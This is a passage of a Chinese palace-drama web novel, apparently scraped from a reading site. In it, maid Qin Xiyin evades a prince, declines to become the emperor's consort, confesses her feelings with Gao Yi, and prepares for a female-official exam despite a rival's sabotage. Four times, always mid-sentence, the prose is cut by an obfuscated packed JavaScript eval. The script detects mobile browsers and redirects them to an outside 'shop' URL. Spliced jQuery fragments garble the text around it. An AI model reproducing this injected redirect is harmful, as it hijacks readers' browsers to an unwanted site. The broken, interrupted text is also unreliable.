和约的内容,跟之前提过的差不多:魏国每年给荣国粮食一千斛,布帛一万匹,并留下几个工部官员帮忙治水。 而荣国保证永不攻打魏国,并派一名质子到魏国。 同时,荣国迁移三万百姓到魏国,让他们成为魏国的子民。 荣帝心里并不愿意,但他估计着,少三万人,财政压力会小很多。反正荣国粮食总是歉收,少几万人吃饭也好。 至于质子,他就派了生母卑微的八皇子过去。八皇子今年六岁,因为不得宠,十分瘦小,神态也畏畏缩缩的。 荣帝把他从后宫叫过来,嘱咐了他几句,就让他去魏国使团那边了。 和约达成后,照例要庆祝几天。 因此,魏国使团暂时不急着走。 荣帝一边强颜欢笑,招待魏国使团,一边对尤将军及其党羽进行清算。 他本以为这次和谈,能好好地让魏国出点血,没想到吃亏的反而是己方。 这都怪尤将军,搞出什么大力丸,虽然短期内增加了胜率,却失去了军心和民心。 而曾经跟尤将军过从甚密的官员和后妃,也被一一处罚。 睿妃等后妃被查出收受尤将军的贿赂,帮他说好话。皇帝迁怒于这些妃嫔,罚俸的罚俸,关禁闭的关禁闭,降级的降级。 睿妃本来跟丽妃分庭抗礼,就连管理六宫都是一起。 这次,睿妃被剥夺了管理后宫之权,后宫大权暂时到了丽妃手里。 在后宫中跟尤将军有来往的妃嫔里,只有丽妃没有受到处罚。 因为她一早就撇清了跟尤将军的关系,还把尤将军送的礼全都捐了出去。 皇帝还增加了丽妃子女的封地,用以嘉奖丽妃。 丽妃感激秦惜音的事先提醒,对秦惜音更为亲厚。 她又设宴招待了秦惜音一次,并说秦惜音以后有什么事尽管来找她。 秦惜音对丽妃说道:“丽妃娘娘,我即将回到魏国,以后怕是很难跟您见面了。不如您给我一个信物,也方便我联系您。” 丽妃给了秦惜音一个蓝琉璃手串,道:“这是本宫的信物,凡是本宫的人,都认得它。现在给你了。” “谢娘娘。” 秦惜音接过手串,随便吃了点东西。 没过一会,三皇子荣斐竟然来了,还坐在秦惜音旁边,抓住了她的手,笑道:“秦女官马上要走了?本王可舍不得你啊。” 秦惜音心中恼怒,但并未发作,只是抽回了手,走到丽妃身边,深深一拜,道:“丽妃娘娘,小臣有一事请教。” 丽妃道:“什么事?” “娘娘刚才说,非常感谢小臣事先提醒,让您与尤将军撇清关系,以后希望与我建立长期的友谊,不知此话当真?” “自然是真的。” “我既为娘娘之友,那三皇子殿下就不适合在我面前举止轻佻了,对吗?” 丽妃这才呵斥三皇子:“斐儿,你在干什么?还不给秦女官道歉?没有秦女官,今日被皇上斥责的就是我了,你和弟弟妹妹们也不可能增加封地。” 三皇子有些不情愿,但还是给秦惜音道了歉。 秦惜音见好就收,微笑道:“小臣不敢领受三皇子殿下的道歉,多谢丽妃娘娘抬爱。小臣先走了。” 丽妃让一个宫女带领秦惜音出去,但走到一半,秦惜音却发现,这不是出宫的路。 宫女竟把她引到了一处假山后面。 秦惜音问道:“这是哪里?丽妃娘娘不是让你带我出宫吗?” 宫女道:“请秦女官稍等片刻,奴婢腿疼,想在这里休息一下。” 然而,这宫女虽说腿疼,却不见她坐下休息。 秦惜音正感奇怪,忽然看见三皇子蹿了出来,对那宫女挥了挥手,那宫女就跑了。 秦惜音暗道不妙,正想逃跑,却被三皇子拦住了去路。 三皇子用垂涎的神色看着秦惜音,道:“秦女官,我从未见过你这般貌美又聪慧的女子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751567|190012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。就这么放你走了,岂不可惜?” 秦惜音尽量掩饰内心的慌张,道:“三皇子,你就不怕被人发现吗?” “这里没人,你是逃不出去的……” 秦惜音忽然笑道:“我明白三皇子的意思了。只是,我是魏国人,还是要跟随使团回到魏国去的。” “没关系,只要你听我的,我保证几个时辰后就放你走。” 秦惜音偷偷把一样东西拿在手里,然后伸手去碰三皇子的脸。 三皇子以为这是邀请的信号,就想抓住她的手。 没想到,秦惜音忽然把一粒药丸塞进了三皇子嘴里,还马上抬起他的下巴,让他把药丸咽了下去。 三皇子皱眉道:“这是什么?” 秦惜音笑道:“别担心,这药丸不会有什么害处的。” 这时,三皇子突然觉得肚子不舒服,很想上茅房。 他赶紧跑了,临走之前还说:“你……你别走,在这里等我回来……” 秦惜音一边笑,一边偷偷离开了。 这颗药丸就是之前高毅给她的腹泻丸,没想到在这儿派上了用场。 回到鸿胪寺后,秦惜音把这事告诉了高毅,道:“高大人,还好你给了我腹泻丸,当时三皇子到处找茅厕的模样,可真是太好笑了……” 谁知,高毅却冷着脸看着她,没说什么。 秦惜音止住了笑容,问道:“高大人,你怎么了?” 高毅道:“你觉得很好笑吗?你差点就被……” 秦惜音觉得他有点凶,小声辩解道:“我这不是没事吗?其实,就算没有那颗腹泻丸,我也能逃脱。” “是吗?你怎么逃脱?说给我听听。” 秦惜音觉得高毅现在的模样有点可怕,以他们目前的交情,高毅怎么会突然用这种教训的口吻跟她说话? 不过,他是自己兄长的朋友,秦惜音还是有几分尊敬的,便继续说道:“我现在说不出来,但如果真的遇到这样的困境,我肯定能想出办法来。” “那就是没办法了?我不是告诉你要小心吗?” “我确实很小心了,但我料不到那个宫女会故意把我带到偏僻处。” “那个宫女是丽妃的人,三皇子就有可能指挥她,你怎么会想不到这点?” “行了行了,你别说了。早知道我就不跟你说这件事了。” 高毅忽然意识到自己的口气太重了,有些尴尬地解释:“我刚才……被吓了一跳,所以才有点凶,你别介意。” “没事……我先回房了。” 高毅一直看着秦惜音的背影,神情关切。 几天后,魏国使团们原路返回。荣国答应给魏国的几万百姓,需要一点时间收拾行李,到时候魏国的军队会来接,把那些百姓安置在人口较少的城市里。 魏国有很多杂活等着这些百姓干,比如开荒、植树等等。作为交换,他们成为魏国的子民,待遇上会比在荣国时好一些,至少不用长时间挨饿。 使团离京城还有几十里的时候,皇帝就亲自率领文武百官前来迎接。 这次跟荣国和谈成功,对魏国来说,是大喜事。 使臣们叩拜皇帝,皇帝扶起了为首的高衡远,并对众人都做了一番勉励。 而皇帝看到穿着女官服的秦惜音时,问道:“你是母后临时加封的那位女官?朕好像见过你几次。” 41. 君心我心 秦惜音道:“是,之前奴婢见过皇上两次。” “很好,这身衣服很适合你,你是朕见过的穿女官服最好看的人。” “谢皇上夸奖。” 皇帝又跟其他使臣们寒暄了几句,然后大家一起往皇宫走去。 宫里举办了热闹的宴会,为使臣们接风洗尘。 在宴会上,皇帝封赏了所有使臣,有的加官进爵,有的增加田地和食邑,或是赏赐金银珠宝之类的。 不过,皇帝并没有提出怎么赏赐秦惜音,反而时不时地看她一眼。 接风宴结束后,众人各自散去,有个小太监走到秦惜音面前,说道:“秦女官,皇上有请。” 秦惜音有些忐忑,同时她对于皇帝接下来可能会说的话,隐隐有了一些猜测。 她也在心里想着应对之策。 秦惜音被带到了御书房,小太监关上了门。 秦惜音发现,御书房里竟然只有她和皇帝两人。 她有些不安,但还是强作镇定,给皇帝行礼。 皇帝柔声道:“不必客气。惜音,这次你为国立功,朕正在想怎么赏赐你。” 秦惜音低头道:“不管有没有赏赐都行,奴婢出使荣国,只是为了魏国尽一份绵薄之力。能成功和谈,也带有很大的偶然性。只要两国息兵,百姓安定,奴婢于愿足矣。” “难得你还有这样的胸襟。其实,朕后宫妃嫔不多,而你是朕见过的最特别的姑娘。如果你愿意入后宫的话,朕可以直接封你为四品美人。” 秦惜音跪下道:“承蒙皇上错爱,只是奴婢认为,这世上从不缺美人,缺的是贤臣。奴婢斗胆,愿做陛下的贤臣,不做陛下的美人。” 皇帝愣了一下,随即用欣赏的目光看着她:“哦?你要做贤臣?但是,你只是一个宫女。即便将来做了女官,也只能管后宫的杂务而已。” “如果能把后宫事务管好,像男人那样走上朝堂、治理百姓又有何不可?奴婢会证明自己的本领。” “好,那朕就等着,看你能走到哪一步。不过,你说朝堂缺贤臣,难道现在的朝臣都不好吗?” “奴婢绝无此意。如今的朝臣,自然是贤能者居多。但《诗经》有云:‘济济多士,文王以宁。’贤臣自然是越多越好。奴婢也愿效仿古之先贤,今之良哲,为陛下分忧。” 皇帝扶起她,笑道:“没想到惜音心怀大志,朕岂能不成全你?后宫女人,朕要多少有多少。既然你志不在此,朕就不勉强了。不过,你想走的路,还是要你自己努力,朕是不会给你开后门的。” 秦惜音惊喜道:“多谢皇上!” 皇帝挑眉道:“朕说不能帮你,你还谢朕?” “皇上不徇私,才是帮奴婢;若是徇私提拔,则奴婢与弄臣何异?奴婢自然不愿借助谁的力量一飞冲天。” 皇帝哈哈大笑:“你倒有意思。朕今日放你离去,来日,希望你能以全新的面貌,出现在朕面前。” “是。” 秦惜音离开御书房,天已经完全黑了。 她打算往太后的宫殿走,却发现有一个人站在桂花树下等着她。 秦惜音忽然百感交集,走上前去,问道:“高大人,您为何在此?” 高毅神色复杂,说道:“我……在此等你。” “你等了多久?” “从你进御书房开始,我就在这里。我告诉自己,再等半个时辰。如果半个时辰你还不出来,我就走了。” “我只是……跟皇上聊天,没什么。” “真的吗?” “嗯。” 高毅忽然抱住了她。 “其实,从宴席上,我看见皇上看你的眼神,就猜到皇上的心思了。我只是没猜到,皇上会放你出来。” “皇上是个明君。我说我只想做贤臣,他答应我了。” “太好了……如果皇上非要纳你为妃,我也没办法……” “不会的……我从来没想过走这条路。” 秦惜音没有挣脱高毅,反而把头埋在他怀里。 她忽然明白了自己的心意,也明白了高毅的心意。 包括高毅为什么一直关照她,为什么买下她的所有东西,为什么跟鹿一鸣打打闹闹的,为什么得知荣国三皇子为难她时,他会生气。 而她也看清了自己的内心。 君心似我心,我心亦似君心。 有些话用不着说出口。 秦惜音忽然抬头道:“我现在……不能给你什么承诺,因为我还有更重要的事要做。” 高毅点头道:“我明白,我会等你。” “也许,我要花很多年才能成为女官,实现理想。” “我会一直等你。” “一直的意思,是很多很多年吗?” “没错,是很多很多年,直到我生命的尽头……惜音,好几年之前,我去秦府找你大哥,远远地看见过你。从那以后,我心中再也没忘记过你。” 秦惜音很感动。 原来,有些幸福就像天上的云,平时不会注意,但只要一抬头,云就在你的头顶。 秦惜音问道:“可是,你的父母会同意你一直不娶妻吗?” “放心吧,我爹也很认可你。他说,你是他想要的儿媳,不过他希望我过几年再提亲。因为过几年,你一定会有更高的地位,能风风光光地嫁给我。 如果你以奴婢的身份嫁给我,会遭到很多质疑,过得很辛苦。 所以,我爹的立场跟我并不冲突。至于我娘,她虽然希望我早点成亲,但只要是我自己坚持的事,她也会由着我的。” “高毅,如果……我是说如果,你以后遇见了另一个喜欢的姑娘,你就娶她吧,我不想一直拖着你。” 高毅笑着摇了摇头:“不会有其他姑娘让我动心,因为心只有一颗,里面只能住一个人。” 秦惜音觉得很开心,就像有烟花在心中绽放。 这时,忽然有一个声音说道:“你们在说什么悄悄话呢?我也要加入。” 听这声音,是鹿一鸣来了。 果然,鹿一鸣从暗处走了出来。 高毅道:“你不去巡逻,待在这儿干什么?” 鹿一鸣拍了拍高毅的肩膀:“高大人,宫门快下钥了,你不出宫,留在这里干什么?再不走,我就抓你了。” “行吧行吧,我走。” “放心吧,我会护送惜音进内宫的。” “离她远点,不然下次见面踹你。” “行吧。” 高毅往秦惜音手里塞了一个祖母绿戒指,来不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751568|190012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 及说什么,就离开了。 鹿一鸣说要送秦惜音去内宫,秦惜音笑了笑,跟鹿一鸣保持礼貌的距离,一前一后地走着。 内宫是妃嫔、宫女们住的地方,外宫是朝臣们可以活动的地方。内宫和外宫的界限很严格,只有一道乾元门相连。 除了乾元门外,妃嫔、宫女们没法从任何地方离开内宫。 而鹿一鸣护送秦惜音,也只能护送到乾元门为止。 很快,乾元门近在眼前。 秦惜音正准备进去,鹿一鸣笑道:“刚才高毅跟你说什么?” 秦惜音脸一红:“没什么。” “这么神秘?哦,我猜到了。” “你猜到什么了?” “这你别管,反正我就是猜到了,哈哈哈……” 秦惜音又是好笑,又是无奈,也不好意思多说什么,只得进了乾元门。 她匆匆回到自己的屋子,把行李放下,又把高毅送给她的戒指拿出来仔细看看。 这个戒指很精致,估计值不少钱,而且是女款的。 这应该不是高毅自己戴的,可能是传家宝之类的。 想到传家宝,秦惜音的脸又红了。她把戒指收好,藏在首饰盒的最深处。 接着,她去见了太后。 按照之前说好的,秦惜音这个五品女官只是临时的,现在出使结束,她恢复了宫女身份。 由于她顺利完成任务,太后把她的身份改为良籍。 如果秦惜音的户口还在秦家,是改不了良籍的,因为秦家一家都是罪人。 因此,太后说把秦惜音的户口单独移出来,让她自己立户,户主就是她自己。 这样,就可以给她改成良籍了。 秦惜音非常感激,因为女孩要单独立户是非常困难的。即便她以前身为官家千金,户口也必须跟着父母或者跟着夫家,不太可能自己立户。 现在,秦惜音有了一种自己当家作主的感觉,底气更足了。 同时,太后还破格提拔秦惜音为一等宫女,并允许她参加今年三月份的女官考试。 本来一等宫女要做满一年才能参加女官考试,由于秦惜音功劳大,所以提前了。 第二天,这个消息传开,很多宫女、太监都来恭喜秦惜音。 秦惜音摆了一桌小宴,请她们吃了一顿。 皇帝也派人送来赏赐:黄金二百两,白银二百两,布匹20匹,各色首饰一盒,宅院一座,土地五十亩,西湖龙井两盒,正山小种两盒,马踏飞燕摆件一个。 同时,还给了国子监的腰牌一个,凭此腰牌,可以出入国子监听课;文澜阁钥匙一把,可以随时去文澜阁借阅书籍。 秦惜音拿着房契、地契,非常激动。 时隔数月,她终于又有房有田了。而且,这是靠她自己挣来的。 秦惜音抽空去冷宫,看望冷宫的老朋友们。 冷宫诸人听说秦惜音出使荣国,立了功,都十分开心,纷纷来恭喜她。 秦惜音用十两银子买了一些东西,分给大家。 而秦惜音之前给冷宫的人垫付了一些医药费、原材料的成本等。这段时间,她们挣了一些钱,还了秦惜音三十两,剩下的慢慢还。 秦惜音听见枝头燕子的呢喃,春天又来了。 42. 考试内容 秦惜音去了尚食局一趟,找自己的朋友松月。 松月是尚食局的女史,也是参加了女官考试才升上来的。 秦惜音向她打听女官考试的内容,如果能得到往年的试卷的话,再好不过。 松月道:“往年的试卷是没有的,每次考试的试卷都会被收上去,封存起来。不过,我大概记得考试内容。考试会有笔试、面试、手工考试、仪容仪表等方面。 其中仪容仪表,只需要干净整洁、合乎规范就行了。笔试和手工考试,会涉及六局二十四司的基本内容。不需要全部都会,不过如果你每一方面都做得很好,综合分数肯定比别人高。 如果考上了,长官们会看你哪方面的分数比较高,把你分到相对应的岗位上。 我当时考试的时候,做的菜得了全优的成绩。但文化知识、制衣、宴会知识、算术等方面,都回答得一般,音乐、园艺种植等方面,更是完全不会。 好在最后综合成绩我排在比较前面,所以被录取了。 面试会问你一些问题,看你的表达能力、表情管理、抗压能力,听你的声音是否难听,等等。” “谢谢。” 秦惜音把松月说的话简单地记了下来,松月又仔细回忆了一些细节,力求能帮到秦惜音。 一番交谈后,秦惜音开心地离去。 接下来的日子,秦惜音认真干活,干完之后就看书,练习各种技艺,以应对接下来的女官考试。 这天,秦惜音抽空去看了一趟曲南蕊。 曲南蕊看着没有以前活泼了。 她对秦惜音道:“惜音,我已经很久没见过皇上了。过年的时候宫里有宫宴,皇上也在,但瑾妃不许五品以下的妃嫔出席。所以,过年我是一个人过的。 那时候我在想,如果年后再次见到皇上,我一定要跟他说,我很想他。可是,过完年直到现在,皇上都没来过我宫里。” 秦惜音心疼地握住了她的手,道:“娘娘辛苦了。皇上政务繁忙,宫里妃嫔又多,他顾不过来也是常有的。等您的位份升上去了,想见皇上就容易一些。” “可是,什么时候才能升位份呢?我都见不到皇上……惜音,我发现我错了……我曾经以为,我对皇上会是特别的存在,我们会过得很开心,我会像话本子里写的那样,成为宠妃…… 但现在我明白了,我其实很普通,在一众妃嫔里没什么特别的。 我确实是在选秀时被皇上亲自挑中的,皇上那时候还夸我娇俏动人,别具一格。但现在想想,大部分的妃嫔,不都是皇上亲自挑的吗?每个人单拎出来都是特别的,但往后宫一放,好像也就那么回事了。” 秦惜音也没有这方面的经验,不过她觉得像瑾妃、杨昭仪这些高位妃嫔都是不好惹的。曲南蕊比较单纯,不适合太早冒出头,否则容易被打压。 因此,秦惜音道:“娘娘,宫里危机四伏,您现在不显眼,也许是件好事,至少不容易被害。奴婢在冷宫待过,那里面很多都是曾经煊赫一时、又在宫廷斗争中失败了的废妃。 您心思单纯,其实不适合后宫。但现在您的身份已经不能改变,奴婢认为,您最佳的策略的早期潜伏,中期做个不温不火的妃嫔,后期混个太妃当当,也算不错了。” 曲南蕊问道:“难道我就没有成为宠妃的可能吗?” “有可能,但宠妃并不好当。您有足够的智慧来应对来自暗处的陷害吗?您有足够的魄力去打压别人、控制别人吗?有时候,你甚至不得不下手害人。如果一直保持单纯善良,可能没过多久就会香消玉殒。” 曲南蕊有些害怕,道:“这么严重吗?可是,我觉得皇上为人还不错,后宫的妃嫔看起来也还可以。瑾妃有点凶,还有一些高位妃嫔我不了解。” “这么多人争一个男人,怎么可能没有矛盾和斗争?只是娘娘远离漩涡中心,所以见不到其中的波涛汹涌罢了。” “你说得没错……也许,我确实不适合在后宫生存。但是,我从来没有后悔进宫的决定。就算见不到皇上,至少能见到你。” “娘娘,奴婢希望能一直见到您,所以请您保重。” “嗯,我会的。你最近在准备考女官?” “是的,我除了干活之外,大部分时间都用来看书了,今天也是抽空来见您一面。” “加油,惜音,你一定可以的。” “谢谢娘娘鼓励。” 这时,曲南蕊忽然叹了一口气。 秦惜音问道:“娘娘怎么了?” “我就是觉得……你本来可以不用这么辛苦的……你本来是相府千金,应该过得很轻松才对。可是现在,你却当了宫女,还要为了当上芝麻绿豆大小的女官,费尽心思。 即便你成为最高的五品尚宫,生活条件也远比不上你以前。我觉得,命运太不公平了。男人们犯的错,却总要他们的妻女来承担后果。” 秦惜音笑道:“没事的,娘娘。我觉得,现在的经历对我也是一笔宝贵的财富。只要我还活着,就能想办法翻身。” “嗯,你永远这么乐观……我觉得,我应该多向你学习才对。” 秦惜音笑了笑,没有解释什么。 其实,悲观的时候已经过去了,现在的她是调整好心态的她。 既然命运把她推到一条不太好的路上,那就只能继续走下去了。 秦惜音又安慰了曲南蕊几句,然后回到了自己的房间。 她发现有人在等着自己,是太后身边的另一个一等宫女,逢春。 太后身边有四个一等宫女,分别是逢春、入夏、寒秋、辞冬。 之前寒秋因为杀死冷宫太妃,嫁祸秦惜音,已经被罚入辛者库了。 现在秦惜音补了寒秋的缺,成为四个一等宫女之一。 自从她升上来之后,跟逢春、辞冬等人也渐渐熟悉了。 见到逢春来了,秦惜音赶紧上前,道:“逢春姐姐,您怎么来了?” 逢春笑道:“我听说你要参加三月份的女官考试,能不能指导一下我?我参加过两次考试,都没有考上。” “好啊,不过我也没经验,不知道能不能帮上姐姐。” “一定可以,我主要是文化知识不过关,这方面你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751569|190012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是强项。” “那逢春姐姐有空的话,可以随时来我这里,我们一起学习。” “好。” 接下来几天,逢春有空就会来找秦惜音,跟她一起学习。 秦惜音发现,逢春需要补习的地方挺多的,而且逢春在学习上不够聪明,有时候秦惜音要讲解很久,逢春才能理解。 不过,秦惜音一直很耐心地教她。 这天晚上,秦惜音给逢春出了几道题,逢春只答对了三分之一。 逢春有些沮丧,道:“我这次大概也通不过了。” 秦惜音安慰道:“逢春姐姐,您别这么沮丧,不需要答对所有题才能当女官的。” “可是,我觉得我跟其他人的差距挺大的,距离考试时间也只有一个月了……我是农家女出身,从小没读过什么书,也没学过其他的技艺。我真羡慕你,什么都会。” “逢春姐姐,您能成为太后娘娘身边的一等宫女,已经比很多人强了。您不要放弃,总有一天能考上女官的。” “嗯,谢谢你的安慰。” 第二天,逢春把秦惜音叫道花园,道:“惜音,寿康宫的植物太多,需要有人专门看护。左边这片花圃,就由你打理吧。你记得每天来浇水施肥,剪除枯黄的枝叶。” 秦惜音点头道:“好。” 秦惜音领了这个活之后,比之前更忙了,看书的时间也大大减少,有时候一整天都找不到时间看书。 她抽空对逢春道:“逢春姐姐,最近我有点忙,顾不上辅导你。” 逢春道:“没关系,我自己学习就行。” “要不把我的活分一部分给别人干,我就有时间了。” “那可不行,咱们身为一等宫女,责任重大,不能只想着偷懒。说到底,伺候太后、照料寿康宫才是我们的本职工作,不能因为其他事而耽误了。” “嗯,姐姐说的对。” 接下来几天,秦惜音尽量加快干活的速度,争取每天抽出半个时辰来看书。 这天晚上,秦惜音好不容易忙完了,趴在桌上看书,逢春走了进来,有些担忧地说道:“惜音,你负责的那篇花圃长了很多小虫,你快去清理一下吧。如果花朵被虫子吃了,太后娘娘看着也不好看。” “嗯,谢谢姐姐提醒。” 秦惜音如临大敌,赶紧打着灯笼去花圃,果然看见花朵上有一些小虫,有些花已经被咬破了,也有些植物的叶子也开始发黄。 秦惜音赶紧捉了这些小虫子,并洒了一些防治病虫害的药。 不过,这黑灯瞎火的,也看不清,秦惜音估计虫子肯定还没抓完,明天得接着抓。 这么一忙活,她直到丑时才回屋睡觉。 第二天,她很累了,但还得早起干活。所以,一有空,她就坐在角落里补觉,顾不得别的事了。 傍晚吃完饭,她暂时没什么事,又去看了自己管理的花圃,果然看见还有一些漏网之虫。 于是,她继续开始捉小虫子。 一连忙了数日,总算把病虫害给止住了。 不过,她也没顾上看书。 43. 繁花项链 这天,逢春拿了一包花种子给秦惜音,道:“惜音,你虽然把虫子抓完了,但很多花已经被咬得不成样子,需要拔掉,种上新花。辛苦你了。” 秦惜音有些沮丧,自己好不容易忙完了花圃的事,没想到还要把花全拔了,种上新花。 既然这样,干脆一开始就把那些花给拔了,也省去了捉害虫这一步骤。 但是,她不敢抱怨,只能接着干活。 又忙了几天,总算把被虫损坏的花给拔完了,新的花种也种下去了。 不过,秦惜音细心照料了那些花种几天,都不见花种发芽。 她只能先不去管,抽出一点时间来复习。 但是,每次她认真看书的时候,逢春都会过来,让她以手头的工作为重,先把花种出来。 逢春说,那些花本来就挺难种的,所以需要时时看顾着,一个不小心,花种可能就死了。 因此,秦惜音只能花更多时间在种花上。 虽然她已经很用心了,最后也只长出几株幼苗,而且那些幼苗看着挺弱的,不一定能活到开花的时候。 秦惜音很沮丧,但又不能就此不管。 她突然想起,冷宫的宫女东风挺会种地的,不如去请教春风。 于是,秦惜音抽了个空,去了冷宫,找东风帮忙。 东风道:“有些花种确实需要一段时间才能发芽,跟是不是辛勤照料关系不大。我先去看看吧。” “好,我带你去。” 秦惜音带着东风来到了寿康宫的花圃,东风看了新长出来的几株幼苗,道:“这些幼苗看着长势不好。其他种子都没发芽吗?” 秦惜音道:“是的。” “我可以把种子挖出来看看吗?” “可以。” 秦惜音帮着东风,把种子挖了出来。 种子都四散地种着,没法全部找到,只挖出来一部分。 东风看着那些种子,说道:“这些花种都不太好,很难种出花来。” 秦惜音惊讶道:“真的吗?” “对,这方面我有经验。你如果不信,可以再找人看看。” 秦惜音陷入了沉思。 东风问道:“这些种子是谁给你的?” “是另一个宫女……” 秦惜音有些困惑。逢春为什么要把质量不好的花种给自己?也许逢春认不出花种的好坏…… 接着,秦惜音对东风道:“谢谢你,我去找她换新的花种好了。” 东风点头:“好,那我先回冷宫当差了。” 秦惜音找到逢春,说花种不好,所以种不出花来。 逢春惊讶道:“这样吗?那我给你换一些种子。” 很快,逢春拿来一些比较好的种子,道:“你用这个种花吧。” “好,谢谢逢春姐姐。” 秦惜音把新的种子种下去,浇水施肥。 这时,跟她同住的一个小宫女跑了过来,道:“惜音姐姐,我有话跟你说。” “什么?” 这小宫女见四下无人,便说道:“前几天的夜里,我起床上茅房,发现逢春姐姐她……好像在摆弄你这片花圃。但我没看真切,不知道她在做什么。” “你确定是她?” “嗯。” “知道了,这事先不要跟人说。” “好的。” 秦惜音给了这小宫女一点银两,让她保密。 接着,秦惜音脑海里突然闪过一个念头:之前那批花长了虫子,该不会是逢春干的吧? 寿康宫的植物都维护得不错,很少有突然长虫的情况。 但是,逢春为什么这么做? 联想到之前,秦惜音看书时,逢春总能找个借口让她去干活,秦惜音有了一个猜测:逢春想让她变得更忙,没时间复习。 看来,逢春给秦惜音质量不好的花种,也是故意的。 秦惜音如果种不出花,就要花更多时间在种花上面,复习的时间进一步减少。 想到这儿,秦惜音不禁无奈地笑了笑。 逢春挺聪明的,用这种不算害人的方式,阻拦了一个竞争对手复习。 但是,秦惜音的本领是早就学会了的,能不能考上女官,根本不在这一两个月。 就算逢春再用心机,也是枉费的。 现在也没必要揭穿逢春,毕竟自己证据不足。 而且逢春伺候太后很多年,根基很深,也深得太后信任。 只是,秦惜音从此又多了一个心眼。在跟一个人有长期的、深入的接触之前,不能直接信任她。 在这宫里,信任是奢侈的,利益才是永恒的。 秦惜音经历的事情比较多了,也不把这种小事放在心上。 她继续种花、干活,有空就休息。 有一次,她半睡半醒间,看见逢春在偷看她。秦惜音的眼睛只睁开了一条缝,所以逢春没发现她醒着。 逢春看见秦惜音在睡觉,似乎松了一口气。接着,她自己拿出一本书,认真看了起来。 秦惜音终于确认了,自己的猜测没错。她觉得逢春有些可笑,但细想起来又有几分可怜。 很快,就到了三月份,女官考试的时间。一共有二十余名宫女参加,录取人数不固定,得根据女官空缺的人数来。 第一场是笔试,大家坐在座位上,每人领一份试卷,答题时间是一个时辰。 试卷挺厚的,涵盖了文学知识、宫廷礼仪、乐曲知识、种植知识、服装、首饰、厨艺等方面。 比如有的题考察不同品级的命妇和后妃该穿什么样的衣服、戴什么样的头饰;有的题考察在后妃聚会时,座次应该怎么排;等等。 秦惜音把大部分的题都答出来了,只有少部分题空着。 而很多宫女抓耳挠腮的,有的连题目都读不懂。 监考官巡视考场,看见别人的卷子时,都不置可否;看见秦惜音的卷子时,露出的惊叹的神情。 时间结束,众人停笔,监考官一个一个收卷。 收逢春的卷子时,逢春把手压在卷子上,神情似乎有些痛苦。 监考官惊讶地扯了扯卷子,逢春这才松开手,让监考官拿走她的卷子。 众人略作休息,下午是面试加上仪容仪表的考核。 面试的时候,主考官会直接看到考生的仪容仪表,所以就放在一起考核了。 尚食局给众考生准备了午饭,秦惜音留了个心眼,没有吃这些,而是吃了自己早上准备好的水煮蛋和饭团。 众人吃完后,有几个考生突然不舒服,有的晕了过去,有的开始腹泻,也有的疼痛难忍,面相狰狞。 她们这种状态,很难参加下午的面试了。就算参加,在仪容仪表上也会大打折扣。 主考官们自然十分惊讶,命人去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751570|190012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 查究竟是怎么回事。 可是,就算把真相查出来,对这几个考生来说,也已经丧失了一次考试机会。 当然,大部分考生的饭菜是安全的,吃了没什么事。 而出事的几名考生,也未必是受到同一人针对,可能是不同的人都想到在饭菜里做手脚了。 总之,秦惜音庆幸自己没吃,她也不知道自己那份饭菜有没有问题。 中招的几个考生被抬走了,剩下的人都有些慌张,讨论着刚才的事。 从表面看,看不出谁有问题,谁是真的慌张。 过了一会,女官们来维持秩序,叫大家不必惊慌,众人这才渐渐停止讨论。 这时,有两个考生朝秦惜音走了过来,笑道:“这位姐姐,你长得真好看,一会的面试和仪容仪表,你一定会高分通过。” 秦惜音笑道:“长得好不好看不重要,只要仪容干净整洁就可以了。大家都会顺利通过的。” “那也存在高低之分。刚才笔试的时候,我们看姐姐写了很多内容,想必笔试的头名必定是姐姐了。” 秦惜音道:“我不过是瞎写一通,现在结果还未知呢。” 这时,有好几个考生都朝秦惜音看了过来。 秦惜音暗道不好,但也只能微笑地对其他人点头致意。 离面试还有一个时辰,大部分考生都选择午睡片刻。她们都坐在凳子上,以手支颐,这样睡可以不弄花妆容。 秦惜音虽然不困,但为了下午状态好一些,也眯上眼睛小睡。 